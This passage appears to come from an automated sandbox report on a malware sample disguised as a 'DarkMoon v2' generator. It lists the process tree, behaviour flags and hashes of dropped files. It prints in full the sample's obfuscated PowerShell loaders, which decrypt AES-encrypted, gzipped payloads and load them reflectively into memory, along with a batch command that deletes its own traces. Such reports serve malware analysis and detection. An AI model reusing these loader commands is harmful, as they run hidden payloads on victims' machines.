'').('gnirtSteG'[-1..-9] -join '')($MJSJO);$eldAL = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MUqFa/ybH7fq9E8cDwzQqA==');$eldAL = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($eldAL, 0, $eldAL.Length);$eldAL = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($eldAL);$JmtWK = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RNiqtzRUbqzid5tIIG0tdSQQSCND4N3Fip71HpyVpNu/LbAnkQDXvXCNN67DnhoH5Y27G2MJlveDAN7CWQjo2dJc4tmKQnvASHPTcy0RyGxkDhbwoL6OdXRgiYeimaZ3i49J/rxWBNL33jIrXjV6wccc/4aVjVPEYt/lsF5IHcTecs+F97GmTz/xlfrGHuS+klKIHdbsKNtk359gBlEuyIzqc8ZNoXjIsDYcHPmRQW0ppscjiU1/jln8klv2aIxKfUrd3GQUbnHsQMaMF/hqOHe+EY+XH4G0NlTI/p6Gfj6oZBnjn21FQDxykIFEupy9SA9V6u+rIOYPN2aHFGH15vJWjy68WQLa9uRRD0iNI3+fN5lBaMhngNS166V7oDsfk6HFYYqd4SbkPV+So/C260QI7aUZVElJYwH9zWeJN68=');$JmtWK = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($JmtWK, 0, $JmtWK.Length);$JmtWK = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($JmtWK);$sutWG = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('721Pgwb2TpdFalOhddbR8A==');$sutWG = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($sutWG, 0, $sutWG.Length);$sutWG = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($sutWG);$RmeiH = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sYsCTgz2k9CJtXOv5QOESQ==');$RmeiH = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($RmeiH, 0, $RmeiH.Length);$RmeiH = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($RmeiH);$yKibX = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('5yBJCVjGNNI8c4y5TeJZ1g==');$yKibX = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($yKibX, 0, $yKibX.Length);$yKibX = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($yKibX);$mWhwt = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('HFsj1rvOoFy/1AQ35wf56A==');$mWhwt = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mWhwt, 0, $mWhwt.Length);$mWhwt = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mWhwt);$MQVoG = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('S8OL2bqVmk+GN3goxj/uiw==');$MQVoG = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($MQVoG, 0, $MQVoG.Length);$MQVoG = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($MQVoG);$OXRcs0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('spJ+lRLXqmjOi3nI0UTS5g==');$OXRcs0 = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($OXRcs0, 0, $OXRcs0.Length);$OXRcs0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($OXRcs0);$OXRcs1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('U4iTk4zuVeeTIShJARv6Pg==');$OXRcs1 = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($OXRcs1, 0, $OXRcs1.Length);$OXRcs1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($OXRcs1);$OXRcs2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('9xaq7OLHlKH+W6faIqwAMw==');$OXRcs2 = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($OXRcs2, 0, $OXRcs2.Length);$OXRcs2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($OXRcs2);$OXRcs3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JOLtcnTz9Wy99GrNQ2MuMQ==');$OXRcs3 = $MfWDX.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($OXRcs3, 0, $OXRcs3.Length);$OXRcs3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($OXRcs3);$MfWDX.Dispose();$AFKcp1.Dispose();if (@(get-process -ea silentlycontinue $OXRcs3).count -gt 1) {exit};$lJYQx = [Microsoft.Win32.Registry]::$mWhwt.$yKibX($OXRcs).$RmeiH($MJSJO);$mFwmU=[string[]]$lJYQx.Split('\');$xwjch=nyZgh(cZwGr([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($mFwmU[1])));JitsM $xwjch (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$Alykr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($mFwmU[0]);$AFKcp = New-Object System.Security.Cryptography.AesManaged;$AFKcp.Mode = [System.Security.Cryptography.CipherMode]::CBC;$AFKcp.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$AFKcp.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7nINuvUxCngtiDkTmFd6bpYzxvDppzo+LtAuTzEtPzw=');$AFKcp.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('U+YH3s5ugGzDC7KmLj1l/A==');$Czfqh = $AFKcp.('rotpyrceDetaerC'[-1..-15] -join '')();$Alykr = $Czfqh.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Alykr, 0, $Alykr.Length);$Czfqh.Dispose();$AFKcp.Dispose();$zAUTt = New-Object System.IO.MemoryStream(, $Alykr);$GiIcD = New-Object System.IO.MemoryStream;$IbKVT = New-Object System.IO.Compression.GZipStream($zAUTt, [IO.Compression.CompressionMode]::$OXRcs1);$IbKVT.$MQVoG($GiIcD);$IbKVT.Dispose();$zAUTt.Dispose();$GiIcD.Dispose();$Alykr = $GiIcD.ToArray();$hUYCw = $JmtWK | IEX;$hfTYl = $hUYCw::$OXRcs2($Alykr);$vpjLB = $hfTYl.EntryPoint;$vpjLB.$OXRcs0($null, (, [string[]] ($eldAL)))5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{e27bc9c8-ba9c-4820-8ae5-45d0182a8a25}5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{87274eb5-6493-4cb4-95b9-143d3fd0f4a3}5⤵
-
C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{a0df8394-7b69-471e-a352-7afaee94a492}5⤵
-
C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{8f23cbda-aa66-4dbf-b72d-94ab2902dd67}5⤵
-
C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{bf36f566-96a0-447c-9e84-fad8074a8779}5⤵
-
C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{99394c4e-5a08-4622-9ba4-aaebaffb27fa}5⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2748 -s 4566⤵
- Drops file in Windows directory
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{a7ff55b4-0c01-4d43-98b8-27b7d47413df}5⤵
-
C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{e163a949-37cf-4601-843c-89f9563a844d}5⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5464 -s 4606⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵
-
C:\Windows\system32\sihost.exesihost.exe2⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵
- Checks processor information in registry
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker1⤵
-
C:\Windows\sysmon.exeC:\Windows\sysmon.exe1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious use of UnmapMainImage
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\darkmoon v2\start.bat"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\darkmoon v2\lib\DarkMoon_Gen.exeDarkMoon_Gen.exe3⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\cmd.execmd /c "Dark Moon gen.bat"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
C:\Windows\system32\chcp.comchcp 650015⤵
-
C:\Windows\system32\timeout.exetimeout 25⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\PING.EXEping localhost -n 15⤵
- Runs ping.exe
-
C:\Windows\system32\PING.EXEping localhost -n 15⤵
- Runs ping.exe
-
C:\Windows\system32\PING.EXEping localhost -n 15⤵
- Runs ping.exe
-
C:\Windows\system32\PING.EXEping localhost -n 15⤵
- Runs ping.exe
-
C:\Windows\system32\PING.EXEping localhost -n 15⤵
- Runs ping.exe
-
C:\Windows\system32\PING.EXEping localhost -n 15⤵
- Runs ping.exe
-
C:\Windows\system32\PING.EXEping localhost -n 15⤵
- Runs ping.exe
-
C:\Windows\system32\PING.EXEping localhost -n 15⤵
- Runs ping.exe
-
C:\Windows\system32\PING.EXEping discord.com5⤵
- Runs ping.exe
-
C:\Windows\system32\timeout.exetimeout 05⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\PING.EXEping www.paysafecard.com5⤵
- Runs ping.exe
-
C:\Windows\system32\timeout.exetimeout 05⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\PING.EXEping www.amazon.com5⤵
- Runs ping.exe
-
C:\Windows\system32\timeout.exetimeout 05⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\PING.EXEping play.google.com5⤵
- Runs ping.exe
-
C:\Windows\system32\timeout.exetimeout 05⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\PING.EXEping store.steampowered.com5⤵
- Runs ping.exe
-
C:\Windows\system32\timeout.exetimeout 05⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\PING.EXEping netflix.com5⤵
- Runs ping.exe
-
C:\Windows\system32\timeout.exetimeout 05⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\PING.EXEping www.spotify.com5⤵
- Runs ping.exe
-
C:\Windows\system32\timeout.exetimeout 05⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\PING.EXEping www.xbox.com5⤵
- Runs ping.exe
-
C:\Windows\system32\timeout.exetimeout 05⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\timeout.exetimeout 15⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\timeout.exetimeout 25⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\timeout.exetimeout 25⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\PING.EXEping www.google.com5⤵
- Runs ping.exe
-
C:\Windows\system32\timeout.exetimeout 25⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K AyBYMBjlvU.bat3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
C:\Users\Admin\AppData\Local\Temp\darkmoon v2\lib\AyBYMBjlvU.bat.exe"AyBYMBjlvU.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function PCvVf($yFrQM){ $KryQB=[System.Security.Cryptography.Aes]::Create(); $KryQB.Mode=[System.Security.Cryptography.CipherMode]::CBC; $KryQB.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $KryQB.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('mWxz9LOIFbVN1/7cN9UWMlncfIJFIhU1cXRWWiP9bXg='); $KryQB.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EIdWPSRydSjZkTvenqbEOg=='); $TSyON=$KryQB.CreateDecryptor(); $return_var=$TSyON.TransformFinalBlock($yFrQM, 0, $yFrQM.Length); $TSyON.Dispose(); $KryQB.Dispose(); $return_var;}function DJYpo($yFrQM){ $rdKbv=New-Object System.IO.MemoryStream(,$yFrQM); $nDivC=New-Object System.IO.MemoryStream; $KhHzB=New-Object System.IO.Compression.GZipStream($rdKbv, [IO.Compression.CompressionMode]::Decompress); $KhHzB.CopyTo($nDivC); $KhHzB.Dispose(); $rdKbv.Dispose(); $nDivC.Dispose(); $nDivC.ToArray();}function mCQbd($yFrQM,$cFYDO){ $nHpHM=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$yFrQM); $KnSYu=$nHpHM.EntryPoint; $KnSYu.Invoke($null, $cFYDO);}$PdisG=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\darkmoon v2\lib\AyBYMBjlvU.bat').Split([Environment]::NewLine);foreach ($gyYDO in $PdisG) { if ($gyYDO.StartsWith('SEROXEN')) { $UdMrg=$gyYDO.Substring(7); break; }}$ekLHX=[string[]]$UdMrg.Split('\');$HlrJz=DJYpo (PCvVf ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ekLHX[0])));$ejeLz=DJYpo (PCvVf ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ekLHX[1])));mCQbd $ejeLz (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));mCQbd $HlrJz (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));4⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{d8fab4c6-b6d0-4284-b77d-03279de32383}5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{a3138764-f208-41ce-8b4c-d95966b8a466}5⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C PING localhost -n 8 >NUL & taskkill /F /IM "C:\Users\Admin\AppData\Local\Temp\darkmoon v2\lib\AyBYMBjlvU.bat.exe" & ATTRIB -h -s "C:\Users\Admin\AppData\Local\Temp\darkmoon v2\lib\AyBYMBjlvU.bat.exe" & del /f "C:\Users\Admin\AppData\Local\Temp\darkmoon v2\lib\AyBYMBjlvU.bat.exe" & exit5⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵
-
C:\Windows\system32\PING.EXEPING localhost -n 86⤵
- Runs ping.exe
-
C:\Windows\system32\taskkill.exetaskkill /F /IM "C:\Users\Admin\AppData\Local\Temp\darkmoon v2\lib\AyBYMBjlvU.bat.exe"6⤵
- Kills process with taskkill
-
C:\Windows\system32\attrib.exeATTRIB -h -s "C:\Users\Admin\AppData\Local\Temp\darkmoon v2\lib\AyBYMBjlvU.bat.exe"6⤵
- Views/modifies file attributes
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
-
C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
- Modifies registry class
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv1⤵
-
C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵
- Checks BIOS information in registry
- Enumerates system info in registry
-
C:\Windows\servicing\TrustedInstaller.exeC:\Windows\servicing\TrustedInstaller.exe1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc1⤵
-
C:\Windows\System32\mousocoreworker.exeC:\Windows\System32\mousocoreworker.exe -Embedding1⤵
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k WerSvcGroup1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 2748 -ip 27482⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 648 -p 5464 -ip 54642⤵
-
C:\Windows\system32\backgroundTaskHost.exe"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca1⤵
-
C:\Windows\system32\backgroundTaskHost.exe"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca1⤵
-
C:\Windows\system32\BackgroundTransferHost.exe"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.11⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\ProgramData\Microsoft\Windows\WER\Temp\WER4AE.tmp.csvFilesize
41KB
MD53dd96d2dc2a86fa6bf9e27a26dd2d67f
SHA1aa993d90428cb87758ac5a17f3db40c844c9791d
SHA256d578f39c1735c9604ad821c1324cdd6326cb40fe1a116fb5668e540ea924bd09
SHA512aaedc0b92e081390425dae46a36aeb0cc0bfcb7e7046e8990891f92524fa2eefac9921c5e0fa8ef299ea51660c7ec747c50e8465154805c76e93679ae0cfd969
-
C:\ProgramData\Microsoft\Windows\WER\Temp\WER4DE.tmp.txtFilesize
13KB
MD592b7536e0a19e9e0dc02fe9f2315ac8c
SHA1bce22615b078f564a303d30df4283ffaaea829aa
SHA2562eeb7aa7e179823352b28b25c46d163ed50afec6d5fc7f2a4be42c7242c16157
SHA512402e2e4961e3d8f129836fba41ea319f882f8407dfa528d0a4c495a176e491a9a563ea6cc3fa226a2057f6167a96b99f30359fb54a7447be09e54c4c0c30d421
-
C:\ProgramData\Microsoft\Windows\WER\Temp\WER6E3.tmp.csvFilesize
41KB
MD5f00e4012ae10524e55e89ea3ed3e7c9f
SHA1805f03f0a1198765b9c70c4013f84a1e9aa1f366
SHA256872269bea744844c11ca45a9109377e2b3200c7c267b969eaeda4e7e038fc12c
SHA51249c2f81b441c64e48ad7d3540e8d2d5c2b0eed3c77627a1d087e37608e52609e82ac231641576720ddd838c08775f9eb2bb1cee082a7a2f6288b18bd8f0849ff
-
C:\ProgramData\Microsoft\Windows\WER\Temp\WER722.tmp.txtFilesize
13KB
MD538b9c964505b499b228410538d3836e8
SHA17cf2913a2fdd9817f67e72eb5be40ea3608ab5d1
SHA2567e2b5fd45a123032a45782aaf78651a34f96b7d08f260d37341eeb0e7c5d948e
SHA5120eaff9b48290dcf95facd72e1901c5caa02ca1a82e4f5b5ad170f8ad22c28afde97bf85afe806a29368539f07eb865e1706f867e26f9c807514eb1cb98b22432
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Dark Moon gen.batFilesize
35KB
MD5c153581143e0b72cecae38a393991a4b
SHA1da43d03b19765594ff124415a060551343823a39
SHA2562fa64c968a0fe02d626a225ecc2e1e4a5185f73d70a0557f32f2bbea76361005
SHA5128c9807f4a3044f49d99e5b1c2a20d112eba61570fa0e725777a3bd84d6a0e7df1c604579863e27c6d0617c2c84fa4ae8c3b7525e37f7e7ee9c6ef26b6c9db40f
-
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_glllkkar.ytl.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
C:\Users\Admin\AppData\Local\Temp\darkmoon v2\lib\AyBYMBjlvU.bat.exeFilesize
442KB
MD504029e121a0cfa5991749937dd22a1d9
SHA1f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA2569f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
SHA5126a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b
-
C:\Windows\$sxr-cmd.exeFilesize
283KB
MD58a2122e8162dbef04694b9c3e0b6cdee
SHA1f1efb0fddc156e4c61c5f78a54700e4e7984d55d
SHA256b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450
SHA51299e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397
-
C:\Windows\$sxr-mshta.exeFilesize
14KB
MD50b4340ed812dc82ce636c00fa5c9bef2
SHA151c97ebe601ef079b16bcd87af827b0be5283d96
SHA256dba3137811c686fd35e418d76184070e031f207002649da95385dfd05a8bb895
SHA512d9df8c1f093ea0f7bde9c356349b2ba43e3ca04b4c87c0f33ab89dda5afe9966313a09b60720aa22a1a25d43d7c71a060af93fb8f6488201a0e301c83fa18045
-
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance WorkFilesize
2KB
MD5f313c5b4f95605026428425586317353
SHA106be66fa06e1cffc54459c38d3d258f46669d01a
SHA256129d0b993cd3858af5b7e87fdf74d8e59e6f2110184b5c905df8f5f6f2c39d8b
SHA512b87a829c86eff1d10e1590b18a9909f05101a535e5f4cef914a4192956eb35a8bfef614c9f95d53783d77571687f3eb3c4e8ee2f24d23ad24e0976d8266b8890
-
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To WorkFilesize
2KB
MD5ceb7caa4e9c4b8d760dbf7e9e5ca44c5
SHA1a3879621f9493414d497ea6d70fbf17e283d5c08
SHA25698c054088df4957e8d6361fd2539c219bcf35f8a524aad8f5d1a95f218e990e9
SHA5121eddfbf4cb62d3c5b4755a371316304aaeabb00f01bad03fb4f925a98a2f0824f613537d86deddd648a74d694dc13ed5183e761fdc1ec92589f6fa28beb7fbff
-
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To WorkFilesize
2KB
MD57d612892b20e70250dbd00d0cdd4f09b
SHA163251cfa4e5d6cbf6fb14f6d8a7407dbe763d3f5
SHA256727c9e7b91e144e453d5b32e18f12508ee84dabe71bc852941d9c9b4923f9e02
SHA512f8d481f3300947d49ce5ab988a9d4e3154746afccc97081cbed1135ffb24fc107203d485dda2d5d714e74e752c614d8cfd16781ea93450fe782ffae3f77066d1
-
